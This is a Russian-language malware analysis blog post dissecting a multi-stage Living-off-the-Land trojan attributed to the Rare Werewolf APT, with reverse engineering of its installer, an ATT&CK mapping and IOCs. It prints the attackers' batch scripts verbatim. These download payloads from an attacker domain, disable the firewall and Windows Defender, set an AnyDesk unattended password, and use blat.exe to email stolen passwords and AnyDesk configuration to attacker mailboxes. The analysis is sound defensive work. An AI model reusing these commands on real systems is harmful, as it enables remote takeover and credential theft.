В мире кибербезопасности уже не первый год набирает популярность тактика «Living off the Land» (LOTL) — «живущие за счёт земли». Её суть заключается в том, чтобы максимально использовать легитимное программное обеспечение и встроенные функции операционной системы для достижения злонамеренных целей. Это позволяет злоумышленникам эффективно маскироваться на заражённой системе, ведь активность программ вроде curl.exe, AnyDesk.exe или установщика WinRAR редко вызывает подозрения у рядовых пользователей и даже у некоторых систем защиты.
Яркой иллюстрацией эффективности этого подхода стал троянец малоизвестной, но технически подкованной APT-группировки Librarian Ghouls (или Rare Werewolf). Целями их атак, судя по используемым инструментам, часто становятся организации из сферы образования и госсектора.
Их инструмент — это не одинокий вредоносный файл, а целый многоступенчатый конвейер, где на каждом этапе используются либо легальные утилиты, либо действия, имитирующие легитимные процессы. Результат — тихая компрометация с установкой бекдора (а иногда и майнера), кражей учётных данных и почтовых данных, и всё это — при минимальном наличии чисто вредоносного кода.
Давайте детально разберём эту цепочку заражения, чтобы наглядно увидеть, как безобидные, на первый взгляд, программы могут быть превращены в мощное оружие для целевой атаки.
Всем привет! Меня зовут Александр, я вирусный аналитик и реверс-инженер. Подписывайтесь на мой тг-канал.
Приступаем!
Предварительный анализ
Начинаем, по классике, с анализа входных данных или предварительного анализа. Этот этап один из самых важных (если не самый) в анализе вредоносного ПО. Почему этот этап нужен и, порой, позволяет обходиться без глубокого анализа дизассемблированного кода, можете почитать здесь.
Файл попал ко мне на вскрытие через песочницу Any.Run. Загрузим его оттуда.
Дисклеймер
Для скачивания файлов из Any.Run требуется аккаунт, зарегистрированный на корпоративную почту. Скачивание и запуск файла необходимо производить в изолированной среде.
Но перед тем, как начать смотреть файл в виртуальной машине, предлагаю исследовать детонацию этого сэмпла в песочнице. Просмотрев почти 20-ти минутную запись экрана, я увидел два последовательных запуска вредоносного процесса. Никакой разницы в активности вызываемых процессов в обоих случаях замечено не было. Формально, спан основного процесса можно разделить на 5 этапов:
Распаковка, после которой песочница создаёт дамп процесса (DMP);
Генерация файла
find.cmd;Выполнение
any.bat;Выполнение
find.cmd;Выполнение
bat.bat.
Давайте внимательнее посмотрим на каждый из этапов.
Этап 1. Распаковка
В ходе распаковки мы замечаем появление 6 новых файлов

Служебные Файлы .tmp нас не интересуют так что остаются 4 файла: any.bat, pdf2.pdf, url.txt, find.exe.
Файл any.bat представляет собой небольшой скрипт:
echo %time%
echo>num.doc 2
ping -n 120 127.0.0.1 >nul
echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access
Скрипт выводит текущее время, создает файл num.doc и записывает в него число «2» (судя по всему, это число является идентификатором заражаемого образца), далее с помощью ping и передачи вывода в null приостанавливает выполнение скрипта на 119 секунд и устанавливает пароль AnyDesk для автономного доступа.
pdf2.pdf представляет собой документ, в котором содержится платежное поручение:

В ходе анализа этого файла вредоносных скриптов или макросов обнаружено не было – этот файл нужен сугубо для отвлечения внимания.
Файл url.txt представляет собой plain text файл, внутри которого содержится очередной IOC – winformation[.]ru. Это доменное имя злоумышленника, с которого далее он будет скачивать дополнительные инструменты.
Ну и наконец, PE-файл find.exe. Я не случайно написал просто «PE-файл» - дело в том, что это обычный curl.exe (вот анализ на Virustotal), то есть, очередной легитимный инструмент в арсенале злоумышленников. Но это ещё не всё!
Этап 2. Генерация файла find.cmd
Генерация файла find.cmd происходит путем создания множества процессов cmd.exe, причем, как видно из записи экрана, создание этих процессов происходит в «скрытом» окне (в разделе «За кулисами каскада» разберем подробнее как же так вышло).
Каждый вызов cmd.exe содержит единственную команду echo, тем самым он построчно дополняет вредоносный скрипт. Скопируем все команды из процессов, удалим ненужные строки и получим find.cmd в исходном виде:
cd C:\Users\Username\AppData\Roaming\Windows\
setlocal enabledelayedexpansion
set "file=C:\Users\Username\AppData\Roaming\Windows\url.txt"
set "content="
for /f "delims=" %%A in (%file%) do (
set "content=!content! %%A"
)
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\bk.rar %content%/bk.jpg
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\driver.exe %content%/driver.jpg
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\bk.rar C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\find.exe -o C:\Users\Username\AppData\Roaming\Windows\pas.rar %content%/pas.jpg
start C:\Users\Username\AppData\Roaming\Windows\Trays\Trays.lnk
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar blat.exe C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar AnyDesk.exe C:\Users\Username\AppData\Roaming\Windows\ /y
C:\Users\Username\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Username\AppData\Roaming\Windows\pas.rar bat.bat C:\Users\Username\AppData\Roaming\Windows\ /y
del /q find.exe
netsh advfirewall set allprofiles state off
sc stop WinDefend
net stop MpsSvc
sc stop MpsSvc
sc delete MpsSvc
AnyDesk.exe --install C:\Users\Username\AppData\Roaming\Windows\AnyDesk
Этапы 3 и 4. Выполнение any.bat и find.cmd
Я решил совместить эти два этапа в один раздел статьи, поскольку выполнение any.bat и find.cmd происходит параллельно. В этом можно убедиться, посмотрев на время запуска этих процессов относительно старта главного:


Это означает, что во время остановки выполнения any.bat (как мы ранее разбирали, при помощи ping) начнет свое выполнение find.cmd.
Основные операции find.cmd :
Загрузка дополнительных файлов:
-winformation[.]ru/bk[.]jpgсохраняется какbk.rar;
-winformation[.]ru/driver[.]jpgсохраняется как driver.exe;
-winformation[.]ru/pas[.]jpgсохраняется какpas.rar.Распаковка и запуск утилиты 4t Tray Minimizer из архива
bk.rar;Распаковка из
pas.rarфайлов blat.exe,AnyDesk.exeиbat.bat;Удаление
find.exe;Выключение брандмауэра, остановка и удаление службы защитника Windows;
Запуск инсталлятора
AnyDesk.exe.
Таким образом, последняя команда из any.bat, выполняющая установку пароля для AnyDesk, сработает после завершение работы инсталлятора.
Как уже все заметили, у нас образовался целый квинтет из легитимных инструментов! По отдельности каждый из них абсолютно безобиден и решает сугубо практические задачи, но, будучи скомбинированными злоумышленником, они превращаются в мощный арсенал для скрытой компрометации системы.
Этап 5. Выполнение bat.bat
Финальным и самым важным этапом работы трояна является выполнение файла bat.bat. Если предыдущие этапы были подготовкой инфраструктуры, то этот скрипт содержит непосредственную логику атаки, направленную на компрометацию данных и обеспечение устойчивого доступа к системе.
Его работа начинается с подготовки: скрипт удаляет свой возможный предыдущий экземпляр из автозагрузки и с помощью серии команд powercfg меняет настройки электропитания, отключая спящий режим и гибернацию. Это классический прием для обеспечения постоянной работы майнеров или бэкдоров, чтобы система не "засыпала".
После 150-секундной паузы начинается основная часть. Сначала с помощью blat.exe на контролируемый злоумышленником ящик отправляется конфигурационный файл AnyDesk (system.conf), содержащий все данные для установления удаленного соединения:
C:\Users\admin\AppData\Roaming\Windows\blat.exe -to out@qoffice[.]site -f "Anydesk<out@qinformation[.]ru>" -server mail[.]qinformation[.]ru -port 587 -u out@qinformation[.]ru -pw gY0bG9kF5i -subject "AnyDesk DESKTOP-JGLLJLD/2/admin" -body "AnyDesk DESKTOP-JGLLJLD/admin" -attach "C:\ProgramData\AnyDesk\system.conf"
Затем из архива pas.rar последовательно извлекаются и запускаются инструменты (ну сколько можно!) для сбора данных: dc.exe, wbpv.exe и mlpv.exe, результаты работы которых сохраняются в текстовые файлы.
Эксфильтрация происходит путем последовательного обращения к SMTP-серверу злоумышленника. Формируется 2 письма для отправки паролей из браузера и данных из почтовых клиентов – файлы password.txt и email.txt, в которые записан результат работы wbpv.exe и mlpv.exe соответственно. Вот пример файла password.txt:

C:\Users\admin\AppData\Roaming\Windows\blat.exe -to out@qoffice[.]site -f "(Password/Email)<out@qinformation[.]ru>" -server mail[.]qinformation[.]ru -port 587 -u out@qinformation[.]ru -pw gY0bG9kF5i -subject "Password DESKTOP-JGLLJLD/2/admin" -body "Password DESKTOP-JGLLJLD/admin" -attach "C:\Users\admin\AppData\Roaming\Windows\(password.txt/email.txt)"
Далее следует масштабная зачистка следов: удаляются временные и служебные файлы с предыдущих этапов, после чего собранные пароли и данные почтовых клиентов также отправляются злоумышленнику. Финализируется «обезвреживание» системы безопасности: добавляются правила в брандмауэр для порта AnyDesk, он полностью отключается, а службы Защитника Windows останавливаются и удаляются. В конце скрипт проводит тотальную зачистку, удаляя практически все свои компоненты, включая архивы, исполняемые файлы утилит и логи, оставляя на системе лишь установленный AnyDesk, и в итоге удаляет сам себя, что значительно усложняет последующий анализ.
Итог предварительного анализа
Проведенный анализ наглядно демонстрирует изощренность тактики Living off the Land. Перед нами не примитивный вирус, а тщательно спланированная многоэтапная операция. Злоумышленники мастерски используют легитимный софт в качестве строительных блоков для создания мощного инструмента вторжения, который эффективно обходит традиционные сигнатурные методы защиты.
Мы восстановили полный спан процессов этой атаки: от момента распаковки до финальной зачистки. Однако несколько ключевых вопросов остались без ответа:
Каким образом основной исполняемый файл инициирует весь этот каскад?
Как реализована скрытность при создании окон
cmd.exe?Как именно управление передается от распакованного бинарника к скриптам
find.cmdиbat.bat?
Ответы на эти вопросы лежат глубже, на уровне ассемблерных инструкций и логики исполнения. Чтобы их найти, пора закатать рукава и перейти к реверс-инжинирингу основного файла.
За кулисами каскада: Реверс-инжиниринг основного загрузчика
Анализ двоичного файла в утилите DiE (Detect it Easy) показал, что файл является установщиком Smart Install Maker, написанным на Delphi. Его можно распаковать самостоятельно утилитой UniExtract с плагином sim unpacker. В итоге мы получим распакованные файлы any.bat, url.txt, find.exe, что не может не радовать. Также распакуется каталог «Дополнительные файлы», который содержит installer.config и runtime.cab. Они нужны для корректной работы установщика. Анализ строк конфигурационного файла показал, что именно там содержится основная логика работы вредоноса, но, к сожалению, документации по структуре этого файла найти не удалось. Поэтому перейдем к анализу в дизассемблере!
«Ядром» этого конвейера является функция ManageInstallerUIState (RVA 0x020704). Основная конструкция этой функции – switch case – это 11 этапов работы установщика, работающих в «скрытом» режиме (используются MainWindowHandle:0 и пустой MainWindowTitle):
case 0: Приветствие и инициализация case 1: Лицензионное соглашение case 2: Выбор типа установки case 3: Выбор папки назначения case 4: Выбор компонентов (дерево с зависимостями) case 5: Дополнительные задачи (ярлыки, ассоциации) case 6: Подтверждение параметров case 7: Сводка установки case 8: Выполнение case 9: Настройка пост-установочных опций case 10: Выполнение финальных действий
Самым важным, на мой взгляд, здесь является этап 8, поскольку он реализует основную логику выполнения вредоносных действий – функция ExecuteInstallationProcess (RVA 0x01FA58) Помимо этапов пре-установки, которые включают в себя системы инициализации, бэкапов, логирования, работы с реестром, установки шрифтов и файлов с библиотеками, здесь реализован механизм пост-установки – функция ExecudeCommandsByType(1u) (RVA 0x01E80C):

Этап динамически генерирует скрипт с помощью токенизации (ProcessTokenizedString RVA 0x1D480) и автоматически создает директории с помощью ExtractLastCharFromSet (RVA 0X5C8C) + CreateDirectoryRecursive (RVA 0X5CE4).
Теперь посмотрим, как генерируется find.cmd. Для этого отследим вызов CreateProcessW после выполнения ShellExecuteExA:

Описание CreateProcessW
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation );
В dwCreationFlags отсутствует флаг CREATE_NO_WINDOW, однако в структуре STARTUPINFO можно увидеть установленный флаг по смещению 0x30 wShowWindow в значение 0 (SW_HIDE). Отсюда и получаем «скрытый» запуск наших процессов:

Структура STARTUPINFO
00000000 struct _STARTUPINFOA // sizeof=0x44
00000000 {
00000000 DWORD cb;
00000004 LPSTR lpReserved;
00000008 LPSTR lpDesktop;
0000000C LPSTR lpTitle;
00000010 DWORD dwX;
00000014 DWORD dwY;
00000018 DWORD dwXSize;
0000001C DWORD dwYSize;
00000020 DWORD dwXCountChars;
00000024 DWORD dwYCountChars;
00000028 DWORD dwFillAttribute;
0000002C DWORD dwFlags;
00000030 WORD wShowWindow;
00000032 WORD cbReserved2;
00000034 LPBYTE lpReserved2;
00000038 HANDLE hStdInput;
0000003C HANDLE hStdOutput;
00000040 HANDLE hStdError;
00000044 };
Точно так же работает и механизм запуска остальных процессов и передачи потока управления.
Заключение
Проведенное расследование наглядно показывает, что современная киберугроза — это уже не просто зловредный файл, а сложная, многоэтапная операция. Группировка Rare Werewolf продемонстрировала высший пилотаж в использовании тактики Living off the Land, создав из легитимных, доверенных инструментов целый арсенал для тихого и эффективного вторжения.
Главная опасность таких атак заключается в их почти полной невидимости для традиционных средств защиты. Изученный пример — это не просто цепочка заражения, а отлаженный конвейер, где каждый этап, от социальной инженерии до финальной зачистки следов, работает как часы. Борьба с подобными угрозами требует смещения фокуса с поиска вредоносных сигнатур на анализ поведения и легитимных, но подозрительных связок процессов, потому что, как мы убедились, даже самый безобидный curl.exe или установщик могут стать ключом к полной компрометации системы.
Приложение
MITTRE ATT&CK
Тактика |
Техника |
Процедура |
T-ID |
Initial Access |
User Execution — Malicious File |
Запуск через замаскированный установщик/файл, запуск последующих скриптов |
|
Execution |
Command and Scripting Interpreter |
Явное исполнение .cmd/.bat. |
|
Persistence |
Valid Accounts / Remote Services |
Установка AnyDesk, установка unattended-пароля |
|
Power Settings |
Отключение сна/гибернации и изменение таймаутов |
||
Defense Evasion |
Disable or Modify System Firewall |
netsh advfirewall set allprofiles state off и |
|
Masquerading / Rename Legitimate Files |
Переименование легитимных файлов (winrar.exe → driver.exe; curl.exe → find.exe) |
||
Disable or Modify Tools / Impair Defenses |
Отключение/остановка Windows Defender, останов/удаление MpsSvc, отключение брандмауэра |
||
Credential Access |
Credential Dumping / Browser & Mail passwords collection |
Запуск NirSoft-утилит |
|
Collection |
Archive / Gather configuration and files |
Сбор system.conf AnyDesk, экспорт паролей/почты в текстовые файлы перед эксфильтрацией. |
|
Exfiltration |
Exfiltration over Email (SMTP) |
Использование blat.exe для отправки собранных файлов (password/email/system.conf) на внешние почтовые адреса через SMTP (mail.qinformation.ru). |
|
Command & Control |
Use of Remote Services |
AnyDesk установлен + unattended пароль → интерактивный удалённый доступ, используемый как канал управления. |
|
Impact / Cleanup |
Indicator Removal on Host / Artifact deletion |
Множество del /q /f команд для удаления архивов, бинарей, логов, url.txt, start.bat и пр. — самоуничтожение следов. |
IOCs:
Индикатор |
Объект |
da1f75d8606f719ea2d46e073bc908c6d8c378dface9f815fe2789fd75984669 |
yylclrq0.exe |
582e6ece505463d0786a61c46b46ac543e8173bd4fcae894fd8eebb4f41c968f |
any.bat |
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e |
pdf2.pdf |
c763038641c40ec2a8105cbafaacabde9c2f501fefd117fa46bedae848f8d3a2 |
url.txt |
f835e15aceb0e995ead000641019aec2162f74d45c5732cee9e3c77d13fa038a |
find.exe |
145f54387d6457a71e0116a9dd2e11ad9b26e5eb2ec8db92be34c8c96b5eb6ba |
find.cmd |
45540346c5f1492f3d599dd5673e8f0d8646e4e3b0b8bfff4c041cd00e3b0b9d |
bk.rar |
bb243113d236f823abd1839025190e763fe34c40da4949b77558995cc1a07625 |
driver.exe |
720f1e85807b8786e5601d348174b468e5fe45bd3066897227fb6f6dc4750225 |
pas.rar |
e613d07619b28f896b4adf24d888cf52814fa2eb89f261f2e4715485954251b7 |
blat.exe |
ac7f226bdf1c6750afa6a03da2b483eee2ef02cd9c2d6af71ea7c6a9a4eace2f |
AnyDesk.exe |
c26912a76a9fec48d4b454bcd11c03f734ec4b67ad94ced9e3fe425f28c00ead |
bat.bat |
ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4 |
dc.exe |
bc7bd27e94e24a301edb3d3e7fad982225ac59430fc476bda4e1459faa1c1647 |
mlpv.exe |
36541fad68e79cdedb965b1afcdc45385646611aa72903ddbe9d4d064d7bffb9 |
wbpv.exe |
winformation[.]ru |
С2 сервер |
winformation[.]ru/bk[.]jpg |
bk.rar |
winformation[.]ru/driver[.]jpg |
driver.exe |
winformation[.]ru/pas[.]jpg |
pas.rar |
mail.qinformation[.]ru:587 |
SMTP сервер |
out@qinformation[.]ru: |
src. Email |
out@qoffice[.]site: |
dst. Email |